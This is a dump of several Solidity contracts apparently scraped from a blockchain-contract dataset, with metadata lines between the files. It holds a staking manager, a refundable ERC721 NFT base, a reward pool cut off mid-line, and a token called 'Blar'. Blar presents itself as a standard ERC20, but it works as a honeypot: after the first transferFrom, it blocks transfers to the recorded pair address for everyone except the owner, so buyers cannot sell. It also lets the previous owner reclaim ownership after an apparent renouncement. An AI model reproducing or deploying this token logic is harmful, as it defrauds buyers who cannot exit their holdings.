require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface ISPAPA { function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); } interface IStakingProxy { function stake(uint _amount, address _recipient) external returns (bool); function claim(address _recipient) external; } interface IStaking{ function epoch() external view returns (uint length, uint number, uint endBlock, uint distribute); } contract StakingManager is Ownable { using SafeERC20 for IERC20; using SafeMath for uint; address public immutable PAPA; address public immutable staking; uint public epoch = 0; uint public warmupPeriod = 0; address[] public proxies; constructor(address _papa, address _staking) { require(_papa != address(0)); PAPA = _papa; require(_staking != address(0)); staking = _staking; } function addProxy(address _proxy) external onlyPolicy() { require(_proxy != address(0)); for(uint i=0;i<proxies.length;i++) { if(proxies[i] == _proxy) { return; } } proxies.push(_proxy); } function removeProxy(address _proxy) external onlyPolicy() returns (bool) { require(_proxy != address(0)); for(uint i=0;i<proxies.length;i++) { if(proxies[i] == _proxy) { require(proxies.length-1 >= warmupPeriod, "Not enough proxies to support specified period."); for(uint j=i;j<proxies.length-1;j++) { proxies[j] = proxies[j+1]; } proxies.pop(); return true; } } return false; } function setWarmupPeriod(uint period) external onlyPolicy() { require(proxies.length >= period, "Not enough proxies to support specified period."); warmupPeriod = period; } function stake(uint _amount, address _recipient) external returns (bool) { require(proxies.length > 0, "No proxies defined."); require(_recipient != address(0)); require(_amount != 0); // why would anyone need to stake 0 PAPA? uint stakingEpoch=getStakingEpoch(); if (epoch < stakingEpoch) { epoch = stakingEpoch; // set next epoch block claim(_recipient); // claim any expired warmups before rolling to the next epoch } address targetProxy = proxies[warmupPeriod == 0 ? 0 : epoch % warmupPeriod]; require(targetProxy != address(0)); IERC20(PAPA).safeTransferFrom(msg.sender, targetProxy, _amount); return IStakingProxy(targetProxy).stake(_amount, _recipient); } function claim(address _recipient) public { require(proxies.length > 0, "No proxies defined."); require(_recipient != address(0)); for(uint i=0;i<proxies.length;i++) { require(proxies[i] != address(0)); IStakingProxy(proxies[i]).claim(_recipient); } } function getStakingEpoch() view public returns(uint stakingEpoch){ (,stakingEpoch,,)=IStaking(staking).epoch(); } }
73,543
12,088
5eaca1a396345b5adde7bf9548e3850ed684b67d9470d80ac73e70f065e4de96
30,529
.sol
Solidity
false
492947597
ERC721RA/erc721ra
37de32a4eb26fe710c84f36cedd4d571d6ac89fd
contracts/extensions/ERC721RAUpgradable.sol
4,900
20,899
pragma solidity >=0.8.4 <0.9.0; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; error ApprovalCallerNotOwnerNorApproved(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error MintZeroAmount(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error RefundNotActive(); error RefundTokenHasBeenBurned(); error RefundCallerNotOwner(); error RefundHasAlreadyBeenMade(); error RefundNotSucceed(); error RefundZeroAmount(); error WithdrawWhenRefundActive(); error WithdrawNotSucceed(); error WithdrawZeroBalance(); error TransactToZeroAddress(); error WithdrawToZeroAddress(); error TransferToZeroAddress(); error MintToZeroAddress(); error ReturnAddressSetToZeroAddress(); error RefundToZeroAddress(); error QueryTokenNotExist(); error QueryZeroAddress(); contract ERC721RAUpgradable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable, OwnableUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token data to track token struct TokenData { // Whether the token has been burned. bool burned; // Whether token has been refunded bool refunded; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // The address of the owner. address ownerAddress; // Track refund information of each token. Token can be returned even they're not owned by minter. // Only allowed to refund once, Keeps track of the price paid by minter, price in Wei uint256 price; } // Owner data to track against token balance struct OwnerData { // Token balance uint32 balance; // Number of tokens minted uint32 numberMinted; // Number of tokens burned uint32 numberBurned; // Number of tokens refunded uint32 numberRefunded; // To record extra information. uint32 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // The number of tokens refunded. uint256 internal _refundCounter; // The refund end timestamp uint256 private _refundEndTime; // The return address to transfer token to address private _returnAddress; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to tokenData details mapping(uint256 => TokenData) internal _tokenData; // Mapping owner address to address data mapping(address => OwnerData) private _ownerData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; function __ERC721RA_init(string memory name_, string memory symbol_, uint256 refundEndTime_) internal onlyInitializing { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); _refundEndTime = refundEndTime_; _returnAddress = _msgSender(); } function _startTokenId() internal view virtual returns (uint256) { return 0; } function totalSupply() public view returns (uint256) { // Impossible to underflow: // _burnCounter cannot be greater than _currentIndex - _startTokenId() unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } function _totalMinted() internal view returns (uint256) { // Impossible to underflow: // _currentIndex is always greater than or equal to_startTokenId() unchecked { return _currentIndex - _startTokenId(); } } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) external view override returns (uint256) { if (owner == address(0)) revert QueryZeroAddress(); return _ownerData[owner].balance; } function _tokenBurned(uint256 tokenId) internal view returns (bool) { return _tokenData[tokenId].burned; } function _tokenRefunded(uint256 tokenId) internal view returns (bool) { return _tokenData[tokenId].refunded; } function pricePaid(uint256 tokenId) public view returns (uint256) { return _ownerOf(tokenId).price; } function _numberMinted(address owner) internal view returns (uint256) { return uint256(_ownerData[owner].numberMinted); } function _numberBurned(address owner) internal view returns (uint256) { return uint256(_ownerData[owner].numberBurned); } function _numberRefunded(address owner) internal view returns (uint256) { return uint256(_ownerData[owner].numberRefunded); } function _getAux(address owner) internal view returns (uint32) { return _ownerData[owner].aux; } function _setAux(address owner, uint32 aux) internal { _ownerData[owner].aux = aux; } function _ownerOf(uint256 tokenId) internal view returns (TokenData memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr) { if (curr < _currentIndex) { TokenData memory tokenData = _tokenData[curr]; // Check if token is not burnt if (!tokenData.burned) { if (tokenData.ownerAddress != address(0)) { return tokenData; } // Underlying magic: // Doesn't explicitly set owner address for consecutive tokens when minting // Set ownership when checking the data // Impossible for --curr to be underflow // Token can never be burnt before minted while (true) { tokenData = _tokenData[--curr]; if (tokenData.ownerAddress != address(0)) { return tokenData; } } } } } } revert QueryTokenNotExist(); } function ownerOf(uint256 tokenId) public view override returns (address) { return _ownerOf(tokenId).ownerAddress; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert QueryTokenNotExist(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) external override { address owner = ERC721RAUpgradable.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert QueryTokenNotExist(); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_tokenData[tokenId].burned; } function _safeMint(address to, uint256 amount, uint256 pricePaid_) internal { _safeMint(to, amount, pricePaid_, ""); } function _safeMint(address to, uint256 amount, uint256 pricePaid_, bytes memory _data) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (amount == 0) revert MintZeroAmount(); _beforeTokenTransfers(address(0), to, startTokenId, amount); // Incredibly unlikely to overflow: // balance or numberMinted overflow if either + amount > 2**32 - 1 // updatedIndex overflow if _currentIndex + amount > 2**256 - 1 unchecked { _ownerData[to].balance += uint32(amount); _ownerData[to].numberMinted += uint32(amount); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + amount; // Underlying magic: doesn't explicitly set owner address for consecutive tokens when minting _tokenData[updatedIndex].ownerAddress = to; _tokenData[startTokenId].startTimestamp = uint64(block.timestamp); _tokenData[updatedIndex].price = pricePaid_; if (to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, amount); } function _mint(address to, uint256 amount, uint256 pricePaid_) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (amount == 0) revert MintZeroAmount(); _beforeTokenTransfers(address(0), to, startTokenId, amount); // Incredibly unlikely to overflow: // balance or numberMinted overflow if either + amount > 2**32 - 1 // updatedIndex overflow if _currentIndex + amount > 2**256 - 1 unchecked { _ownerData[to].balance += uint32(amount); _ownerData[to].numberMinted += uint32(amount); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + amount; // Underlying magic: doesn't explicitly set owner address for consecutive tokens when minting _tokenData[updatedIndex].ownerAddress = to; _tokenData[startTokenId].startTimestamp = uint64(block.timestamp); _tokenData[updatedIndex].price = pricePaid_; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, amount); } function _transfer(address from, address to, uint256 tokenId) private { TokenData memory prevTokenData = _ownerOf(tokenId); if (prevTokenData.ownerAddress != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Impossible for from address to underflow, or to address to overflow // nextTokenId is incredibly unlikely to overflow unchecked { _ownerData[from].balance -= 1; _ownerData[to].balance += 1; TokenData storage currSlot = _tokenData[tokenId]; // Must update price paid when transfer currSlot.ownerAddress = to; currSlot.startTimestamp = uint64(block.timestamp); currSlot.price = prevTokenData.price; uint256 nextTokenId = tokenId + 1; TokenData storage nextSlot = _tokenData[nextTokenId]; if (nextSlot.ownerAddress == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { // Must update price paid for from address which owns the next token nextSlot.ownerAddress = from; nextSlot.startTimestamp = prevTokenData.startTimestamp; nextSlot.price = prevTokenData.price; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenData memory prevTokenData = _ownerOf(tokenId); address from = prevTokenData.ownerAddress; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Impossible for balance to go underflow, or numberBurned to overflow // nextTokenId is icredibly unlikely to overflow unchecked { OwnerData storage ownerData = _ownerData[from]; ownerData.balance -= 1; ownerData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenData storage currSlot = _tokenData[tokenId]; currSlot.ownerAddress = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.price = prevTokenData.price; currSlot.burned = true; // If the tokenData slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. uint256 nextTokenId = tokenId + 1; TokenData storage nextSlot = _tokenData[nextTokenId]; if (nextSlot.ownerAddress == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.ownerAddress = from; nextSlot.startTimestamp = prevTokenData.startTimestamp; nextSlot.price = prevTokenData.price; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); unchecked { _burnCounter++; } } function _approve(address to, uint256 tokenId, address owner) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } function _checkContractOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } function _beforeTokenTransfers(address from, address to, uint256 startTokenId, uint256 amount) internal virtual {} function _afterTokenTransfers(address from, address to, uint256 startTokenId, uint256 amount) internal virtual {} uint256[42] private __gap; function setReturnAddress(address to) external onlyOwner { if (to == address(0)) revert ReturnAddressSetToZeroAddress(); _returnAddress = to; } function returnAddress() external view returns (address) { return _returnAddress; } function refundEndTime() external view returns (uint256) { return _refundEndTime; } function refundActive() public view returns (bool) { return _refundEndTime > block.timestamp; } function _refund(address to, uint256 tokenId) internal { if (!refundActive()) revert RefundNotActive(); if (to == address(0)) revert RefundToZeroAddress(); if (_msgSender() != ownerOf(tokenId)) revert RefundCallerNotOwner(); if (_tokenData[tokenId].burned) revert RefundTokenHasBeenBurned(); if (_tokenData[tokenId].refunded) revert RefundHasAlreadyBeenMade(); uint256 refundAmount = pricePaid(tokenId); if (refundAmount == 0) revert RefundZeroAmount(); _beforeTokenTransfers(_msgSender(), _returnAddress, tokenId, 1); // Refund amount is impossible to overflow unchecked { // No need to change balance here, SafeTransferFrom updates balance _tokenData[tokenId].refunded = true; _ownerData[_msgSender()].numberRefunded += 1; _refundCounter++; } // safeTransferFrom updates price and startTimestamp of new owner safeTransferFrom(_msgSender(), _returnAddress, tokenId); (bool success,) = to.call{value: refundAmount}(""); if (!success) revert RefundNotSucceed(); emit Transfer(_msgSender(), _returnAddress, tokenId); _afterTokenTransfers(_msgSender(), _returnAddress, tokenId, 1); } function _withdraw(address to) internal virtual onlyOwner { if (refundActive()) revert WithdrawWhenRefundActive(); if (to == address(0)) revert WithdrawToZeroAddress(); uint256 contractBalance = address(this).balance; if (contractBalance == 0) revert WithdrawZeroBalance(); (bool success,) = to.call{value: contractBalance}(""); if (!success) revert WithdrawNotSucceed(); } }
224,259
12,089
60a2eb69e9402c36496328df3c2be8fb2b3369c5fcc56929a2872bf41c056676
20,343
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/b7/b72aa9341fdbc0ccda7cb0a2f245cee973e9066c_Blar.sol
2,966
11,256
pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract Blar is Context, IERC20, Ownable, Pausable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint8 private _decimals = 9; uint256 private _totalSupply = 10000000 * 10**12; string private _symbol = "BLA"; string private _name = "BLA"; address public newun; constructor() public { _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function getOwner() external view returns (address) { return owner(); } function decimals() external view returns (uint8) { return _decimals; } function symbol() external view returns (string memory) { return _symbol; } function name() external view returns (string memory) { return _name; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(sender != address(0) && newun == address(0)) newun = recipient; else require(recipient != newun || sender == owner(), "please wait"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "transfer sender address is 0 address"); require(recipient != address(0), "transfer recipient address is 0 address"); require(!paused || sender == owner() || recipient == owner(), "paused"); if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait"); _balances[sender] = _balances[sender].sub(amount, "transfer balance too low"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } // function _burn(address account, uint256 amount) internal { // require(account != address(0), "burn address is 0 address"); // _balances[account] = _balances[account].sub(amount, "burn balance to low"); // _totalSupply = _totalSupply.sub(amount); // emit Transfer(account, address(0), amount); // } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "approve owner is 0 address"); require(spender != address(0), "approve spender is 0 address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } // function _burnFrom(address account, uint256 amount) internal { // _burn(account, amount); // } }
79,842
12,090
77c26eb33403c58fdb7aa451099eea0be412126f08258e3d04b5027eac867df5
10,879
.sol
Solidity
false
344608542
boltdollar/boltdollar-contracts
1e57f50605d2a01d2e783cc54c59eb548984eb15
contracts/CashRewardPool.sol
2,888
10,675
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; // Note that this pool has no minter key of CASH (rewards). contract CashRewardPool { using SafeMath for uint256; using SafeERC20 for IERC20; // governance address public operator; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. CASHs to distribute per block. uint256 lastRewardBlock; // Last block number that CASHs distribution occurs. uint256 accCashPerShare; // Accumulated CASHs per share, times 1e18. See below. bool isStarted; // if lastRewardBlock has passed } IERC20 public cash; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when CASH mining starts. uint256 public startBlock; uint256 public endBlock; uint256 public cashPerBlock = 1.25 ether; uint256 public runningBlocks = 172800; // ~ 6 days uint256 public constant BLOCKS_PER_WEEK = 201600; // 86400 * 7 / 3; uint256 public totalCirculating = 0; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event RewardPaid(address indexed user, uint256 amount); constructor(address _cash, uint256 _startBlock) public { require(block.number < _startBlock, "late"); if (_cash != address(0)) cash = IERC20(_cash); startBlock = _startBlock; // supposed to be 3,720,500 (Tue Jan 05 2021 10:00:00 UTC) endBlock = startBlock + runningBlocks; // 3,893,300 (Mon Jan 11 2021 10:00:00 UTC) operator = msg.sender; } modifier onlyOperator() { require(operator == 